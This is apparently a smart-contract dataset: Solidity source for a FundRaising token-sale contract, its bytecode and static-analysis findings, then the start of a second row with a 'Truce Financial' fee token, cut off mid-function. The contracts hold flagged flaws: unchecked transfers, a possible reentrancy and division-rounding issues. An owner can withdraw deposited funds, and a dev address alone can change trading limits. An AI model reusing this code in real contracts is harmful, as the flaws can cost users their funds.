}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FundRaising is Ownable {
// use mantissa (ori * 10**18) to reserve precision
// price means x usdt per token
mapping(uint256 => uint256) public prices;
address public usdt;
address public mis;
struct Round {
uint256 price;
uint start;
uint duration;
uint usdtMin;
uint usdtMax;
uint supply;
}
struct Record {
uint256 lockedAmount;
uint256 lockStartTs;
bool useUnlockB;
}
// user => record amount
mapping(address => uint256) public recordsLen;
mapping(address => mapping(uint256 => Record)) public records;
// round, account => paid
mapping(uint => mapping(address => bool)) public paid;
Round[] public rounds;
// round => bought
mapping(uint256 => uint256) public bought;
// ============ Init ============ //
constructor(address usdt_, address mis_) {
usdt = usdt_;
mis = mis_;
uint256 usdtDecimals = IERC20Metadata(usdt).decimals();
uint256 misDecimals = IERC20Metadata(mis).decimals();
// 150 * 10**16 means 1.5 * 10**18
rounds.push(Round(
150 * 10**(16 + usdtDecimals - misDecimals),
block.timestamp, // start
72 * 3600,
20000 * 10**usdtDecimals,
50000 * 10**usdtDecimals,
270000 * 10**usdtDecimals // token supply in usdt
));
rounds.push(Round(
200 * 10**(16 + usdtDecimals - misDecimals),
block.timestamp + 72 * 3600, // start
72 * 3600,
100 * 10**usdtDecimals,
1000 * 10**usdtDecimals,
216000 * 10**usdtDecimals // token supply in usdt
));
rounds.push(Round(
250 * 10**(16 + usdtDecimals - misDecimals),
block.timestamp + 2 * 72 * 3600, // start
72 * 3600,
100 * 10**usdtDecimals,
1000 * 10**usdtDecimals,
180000 * 10**usdtDecimals // token supply in usdt
));
}
// ============ Lock Rules ============ //
// cliff
// n: now
// t: release ts
// a: total amount
// r: release rate
function cliff(uint256 n, uint256 t, uint256 a, uint256 r) internal pure returns(uint256) {
uint256 total = a * r / 10**18;
return n >= t ? total : 0;
}
// linear
// n: now
// t0: release start ts
// t1: release end ts
// s: step length
// a: total amount
// r: release rate
function linear(uint256 n, uint256 t0, uint256 t1, uint256 s, uint256 a, uint256 r) internal pure returns(uint256) {
uint256 total = a * r / 10**18;
if (n < t0) {
return 0;
}
else if (n >= t1) {
return total;
}
else {
uint256 perStep = total / ((t1 - t0) / s);
uint passedSteps = (n - t0) / s;
return perStep * passedSteps;
}
}
function getUnlockA(uint totalLocked, uint lockStartTs) internal view returns(uint) {
uint256 n = block.timestamp;
uint256 t0 = lockStartTs + 1 * 30 * 86400;
uint256 t1 = lockStartTs + 6 * 30 * 86400;
uint256 r0 = 50 * 10**16;
uint256 r1 = 50 * 10**16;
uint256 s = 30 * 86400;
return cliff(n, t0, totalLocked, r0) + linear(n, t0, t1, s, totalLocked, r1);
}
function getUnlockB(uint totalLocked, uint lockStartTs) internal view returns(uint) {
uint256 n = block.timestamp;
uint256 t0 = lockStartTs;
uint256 t1 = lockStartTs + 10 * 30 * 86400;
uint256 r = 100 * 10**16;
uint256 s = 30 * 86400;
return linear(n, t0, t1, s, totalLocked, r);
}
// ============ Admin ============ //
function deposit(address token, uint256 amount) public onlyOwner {
IERC20Metadata(token).transferFrom(msg.sender, address(this), amount);
}
function withdraw(address token, uint256 amount) public onlyOwner {
IERC20Metadata(token).transfer(msg.sender, amount);
}
function updateRound(
uint256 index,
uint256 price,
uint256 start,
uint256 duration,
uint256 usdtMin,
uint256 usdtMax,
uint256 supply
) public onlyOwner {
Round memory round = Round(price, start, duration, usdtMin, usdtMax, supply);
if (index > 0 && index < rounds.length) {
rounds[index] = round;
}
else {
rounds.push(round);
}
}
// ============ Anyone ============ //
function _useUnlockPlanB(uint256 usdtAmount) public view returns(bool) {
return usdtAmount >= 20000 * 10**IERC20Metadata(usdt).decimals();
}
function buy(uint256 roundId, uint256 usdtAmount) public {
require(roundId < rounds.length, "WRONG_ROUND_ID");
require(!paid[roundId][msg.sender], "ALREADY_BOUGHT");
Round storage round = rounds[roundId];
require(usdtAmount >= round.usdtMin, "LESS_THAN_MIN");
require(usdtAmount <= round.usdtMax, "MORE_THAN_MAX");
require(bought[roundId] + usdtAmount <= round.supply, "EXCEED_SUPPLY");
// transfer
IERC20Metadata(usdt).transferFrom(msg.sender, address(this), usdtAmount);
// record
records[msg.sender][recordsLen[msg.sender]] = Record(
10**18 * usdtAmount / round.price,
round.start + round.duration,
_useUnlockPlanB(usdtAmount)
);
recordsLen[msg.sender] += 1;
// post
paid[roundId][msg.sender] = true;
bought[roundId] += usdtAmount;
}
mapping(address => uint256) public claimed;
function available(address account) public view returns(uint256) {
uint len = recordsLen[account];
uint total = 0;
for(uint256 i=0;i< len;i++) {
Record storage record = records[account][i];
if (record.useUnlockB) {
total += getUnlockB(record.lockedAmount, record.lockStartTs);
}
else {
total += getUnlockA(record.lockedAmount, record.lockStartTs);
}
}
return total - claimed[account];
}
function claim() public {
uint a = available(msg.sender);
require(a > 0, "NOTHING_TO_CLAIM");
IERC20Metadata(mis).transfer(msg.sender, a);
claimed[msg.sender] += a;
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c80638c65c81f116100ad578063c884ef8311610071578063c884ef8314610323578063d6febde814610353578063f2fde38b1461036f578063f3fef3a31461038b578063fbbbd65b146103a757610121565b80638c65c81f146102405780638da5cb5b1461027557806394b0e64114610293578063a031fb7f146102c3578063bc31c1c1146102f357610121565b80634e71d92d116100f45780634e71d92d146101c05780636c9f0b47146101ca578063715018a6146101e8578063816d5d46146101f257806382a6c0ac1461020e57610121565b8063073639971461012657806310098ad5146101565780632f48ab7d1461018657806347e7ef24146101a4575b600080fd5b610140600480360381019061013b919061173c565b6103d7565b60405161014d9190611a64565b60405180910390f35b610170600480360381019061016b91906116ae565b61049c565b60405161017d9190611b7f565b60405180910390f35b61018e610605565b60405161019b91906119e9565b60405180910390f35b6101be60048036038101906101b991906116d7565b61062b565b005b6101c861073b565b005b6101d2610894565b6040516101df91906119e9565b60405180910390f35b6101f06108ba565b005b61020c600480360381019061020791906117dd565b6109f4565b005b610228600480360381019061022391906116d7565b610bbc565b60405161023793929190611b9a565b60405180910390f35b61025a6004803603810190610255919061173c565b610c00565b60405161026c96959493929190611bd1565b60405180910390f35b61027d610c4c565b60405161028a91906119e9565b60405180910390f35b6102ad60048036038101906102a891906116ae565b610c75565b6040516102ba9190611b7f565b60405180910390f35b6102dd60048036038101906102d89190611765565b610c8d565b6040516102ea9190611a64565b60405180910390f35b61030d6004803603810190610308919061173c565b610cbc565b60405161031a9190611b7f565b60405180910390f35b61033d600480360381019061033891906116ae565b610cd4565b60405161034a9190611b7f565b60405180910390f35b61036d600480360381019061036891906117a1565b610cec565b005b610389600480360381019061038491906116ae565b6111d1565b005b6103a560048036038101906103a091906116d7565b61137a565b005b6103c160048036038101906103bc919061173c565b611488565b6040516103ce9190611b7f565b60405180910390f35b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561044157600080fd5b505afa158015610455573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610479919061187b565b600a6104859190611d1d565b614e206104929190611e3b565b8210159050919050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000805b828110156105b0576000600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002090508060020160009054906101000a900460ff161561057c5761056a816000015482600101546114a0565b836105759190611c43565b925061059c565b61058e816000015482600101546114ef565b836105999190611c43565b92505b5080806105a890611f1e565b9150506104e5565b50600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816105fc9190611e95565b92505050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61063361156f565b73ffffffffffffffffffffffffffffffffffffffff16610651610c4c565b73ffffffffffffffffffffffffffffffffffffffff16146106a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069e90611b1f565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016106e493929190611a04565b602060405180830381600087803b1580156106fe57600080fd5b505af1158015610712573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107369190611713565b505050565b60006107463361049c565b90506000811161078b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078290611aff565b60405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016107e8929190611a3b565b602060405180830381600087803b15801561080257600080fd5b505af1158015610816573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083a9190611713565b5080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461088a9190611c43565b9250508190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108c261156f565b73ffffffffffffffffffffffffffffffffffffffff166108e0610c4c565b73ffffffffffffffffffffffffffffffffffffffff1614610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d90611b1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109fc61156f565b73ffffffffffffffffffffffffffffffffffffffff16610a1a610c4c565b73ffffffffffffffffffffffffffffffffffffffff1614610a70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6790611b1f565b60405180910390fd5b60006040518060c00160405280888152602001878152602001868152602001858152602001848152602001838152509050600088118015610ab5575060078054905088105b15610b47578060078981548110610af5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060060201600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a08201518160050155905050610bb2565b6007819080600181540180825580915050600190039060005260206000209060060201600090919091909150600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015550505b5050505050505050565b6005602052816000526040600020602052806000526040600020600091509150508060000154908060010154908060020160009054906101000a900460ff16905083565b60078181548110610c1057600080fd5b90600052602060002090600602016000915090508060000154908060010154908060020154908060030154908060040154908060050154905086565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60046020528060005260406000206000915090505481565b60066020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60016020528060005260406000206000915090505481565b60096020528060005260406000206000915090505481565b6007805490508210610d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2a90611a7f565b60405180910390fd5b6006600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610dd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc890611adf565b60405180910390fd5b600060078381548110610e0d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906006020190508060030154821015610e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5b90611b5f565b60405180910390fd5b8060040154821115610eab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea290611abf565b60405180910390fd5b8060050154826008600086815260200190815260200160002054610ecf9190611c43565b1115610f10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0790611b3f565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401610f6f93929190611a04565b602060405180830381600087803b158015610f8957600080fd5b505af1158015610f9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc19190611713565b506040518060600160405280826000015484670de0b6b3a7640000610fe69190611e3b565b610ff09190611c99565b8152602001826002015483600101546110099190611c43565b8152602001611017846103d7565b1515815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050506001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111329190611c43565b9250508190555060016006600085815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550816008600085815260200190815260200160002060008282546111c59190611c43565b92505081905550505050565b6111d961156f565b73ffffffffffffffffffffffffffffffffffffffff166111f7610c4c565b73ffffffffffffffffffffffffffffffffffffffff161461124d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124490611b1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b490611a9f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61138261156f565b73ffffffffffffffffffffffffffffffffffffffff166113a0610c4c565b73ffffffffffffffffffffffffffffffffffffffff16146113f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ed90611b1f565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401611431929190611a3b565b602060405180830381600087803b15801561144b57600080fd5b505af115801561145f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114839190611713565b505050565b60086020528060005260406000206000915090505481565b6000804290506000839050600063018b8200856114bd9190611c43565b90506000670de0b6b3a76400009050600062278d0090506114e2858585848c87611577565b9550505050505092915050565b600080429050600062278d00846115069190611c43565b9050600062ed4e00856115199190611c43565b905060006706f05b59d3b20000905060006706f05b59d3b200009050600062278d00905061154b868686848d87611577565b61155787878c8761161a565b6115619190611c43565b965050505050505092915050565b600033905090565b600080670de0b6b3a7640000838561158f9190611e3b565b6115999190611c99565b9050868810156115ad576000915050611610565b8588106115bd5780915050611610565b60008588886115cc9190611e95565b6115d69190611c99565b826115e19190611c99565b9050600086898b6115f29190611e95565b6115fc9190611c99565b9050808261160a9190611e3b565b93505050505b9695505050505050565b600080670de0b6b3a764000083856116329190611e3b565b61163c9190611c99565b90508486101561164d57600061164f565b805b915050949350505050565b60008135905061166981612140565b92915050565b60008151905061167e81612157565b92915050565b6000813590506116938161216e565b92915050565b6000815190506116a881612185565b92915050565b6000602082840312156116c057600080fd5b60006116ce8482850161165a565b91505092915050565b600080604083850312156116ea57600080fd5b60006116f88582860161165a565b925050602061170985828601611684565b9150509250929050565b60006020828403121561172557600080fd5b60006117338482850161166f565b91505092915050565b60006020828403121561174e57600080fd5b600061175c84828501611684565b91505092915050565b6000806040838503121561177857600080fd5b600061178685828601611684565b92505060206117978582860161165a565b9150509250929050565b600080604083850312156117b457600080fd5b60006117c285828601611684565b92505060206117d385828601611684565b9150509250929050565b600080600080600080600060e0888a0312156117f857600080fd5b60006118068a828b01611684565b97505060206118178a828b01611684565b96505060406118288a828b01611684565b95505060606118398a828b01611684565b945050608061184a8a828b01611684565b93505060a061185b8a828b01611684565b92505060c061186c8a828b01611684565b91505092959891949750929550565b60006020828403121561188d57600080fd5b600061189b84828501611699565b91505092915050565b6118ad81611ec9565b82525050565b6118bc81611edb565b82525050565b60006118cf600e83611c32565b91506118da82611fd2565b602082019050919050565b60006118f2602683611c32565b91506118fd82611ffb565b604082019050919050565b6000611915600d83611c32565b91506119208261204a565b602082019050919050565b6000611938600e83611c32565b915061194382612073565b602082019050919050565b600061195b601083611c32565b91506119668261209c565b602082019050919050565b600061197e602083611c32565b9150611989826120c5565b602082019050919050565b60006119a1600d83611c32565b91506119ac826120ee565b602082019050919050565b60006119c4600d83611c32565b91506119cf82612117565b602082019050919050565b6119e381611f07565b82525050565b60006020820190506119fe60008301846118a4565b92915050565b6000606082019050611a1960008301866118a4565b611a2660208301856118a4565b611a3360408301846119da565b949350505050565b6000604082019050611a5060008301856118a4565b611a5d60208301846119da565b9392505050565b6000602082019050611a7960008301846118b3565b92915050565b60006020820190508181036000830152611a98816118c2565b9050919050565b60006020820190508181036000830152611ab8816118e5565b9050919050565b60006020820190508181036000830152611ad881611908565b9050919050565b60006020820190508181036000830152611af88161192b565b9050919050565b60006020820190508181036000830152611b188161194e565b9050919050565b60006020820190508181036000830152611b3881611971565b9050919050565b60006020820190508181036000830152611b5881611994565b9050919050565b60006020820190508181036000830152611b78816119b7565b9050919050565b6000602082019050611b9460008301846119da565b92915050565b6000606082019050611baf60008301866119da565b611bbc60208301856119da565b611bc960408301846118b3565b949350505050565b600060c082019050611be660008301896119da565b611bf360208301886119da565b611c0060408301876119da565b611c0d60608301866119da565b611c1a60808301856119da565b611c2760a08301846119da565b979650505050505050565b600082825260208201905092915050565b6000611c4e82611f07565b9150611c5983611f07565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c8e57611c8d611f67565b5b828201905092915050565b6000611ca482611f07565b9150611caf83611f07565b925082611cbf57611cbe611f96565b5b828204905092915050565b6000808291508390505b6001851115611d1457808604811115611cf057611cef611f67565b5b6001851615611cff5780820291505b8081029050611d0d85611fc5565b9450611cd4565b94509492505050565b6000611d2882611f07565b9150611d3383611f11565b9250611d607fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611d68565b905092915050565b600082611d785760019050611e34565b81611d865760009050611e34565b8160018114611d9c5760028114611da657611dd5565b6001915050611e34565b60ff841115611db857611db7611f67565b5b8360020a915084821115611dcf57611dce611f67565b5b50611e34565b5060208310610133831016604e8410600b8410161715611e0a5782820a905083811115611e0557611e04611f67565b5b611e34565b611e178484846001611cca565b92509050818404811115611e2e57611e2d611f67565b5b81810290505b9392505050565b6000611e4682611f07565b9150611e5183611f07565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e8a57611e89611f67565b5b828202905092915050565b6000611ea082611f07565b9150611eab83611f07565b925082821015611ebe57611ebd611f67565b5b828203905092915050565b6000611ed482611ee7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611f2982611f07565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611f5c57611f5b611f67565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008160011c9050919050565b7f57524f4e475f524f554e445f4944000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4d4f52455f5448414e5f4d415800000000000000000000000000000000000000600082015250565b7f414c52454144595f424f55474854000000000000000000000000000000000000600082015250565b7f4e4f5448494e475f544f5f434c41494d00000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4558434545445f535550504c5900000000000000000000000000000000000000600082015250565b7f4c4553535f5448414e5f4d494e00000000000000000000000000000000000000600082015250565b61214981611ec9565b811461215457600080fd5b50565b61216081611edb565b811461216b57600080fd5b50565b61217781611f07565b811461218257600080fd5b50565b61218e81611f11565b811461219957600080fd5b5056fea26469706673582212204506f7b6c9a53ce8f91c8892cf29d1f2d251eb609cf395b100bcd2d4fdad2bb164736f6c63430008010033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,646 |
0x160adb07a5515fcb7e640a90ac38a236b89fc430 | /**
*Submitted for verification at Etherscan.io on 2021-12-04
*/
/**
https://t.me/TruceFinancial
https://www.trucefinancial.com/
Medium is also out :D https://medium.com/@trucefinancial/truce-financial-f43c2861149e
Truce Financial has been designed to open the doors of DeFi to anyone, through a multi-chain Yield Processing Node.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TRUCE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Truce Financial";
string private constant _symbol = "TRUCE";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 8;
uint256 private _redisfee = 2;
//Bots
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _DevAddress;
address payable private _marketing;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_DevAddress = addr2;
_marketing = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_DevAddress] = true;
_isExcludedFromFee[_marketing] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 25000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function botcontrol(uint256 maxTxpc) external {
require(_msgSender() == _DevAddress);
require(maxTxpc > 0);
_maxTxAmount = _tTotal.mul(maxTxpc).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 8;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_DevAddress.transfer(amount.div(2));
_marketing.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _DevAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _DevAddress);
uint256 contractETHBalance = address(this).balance;
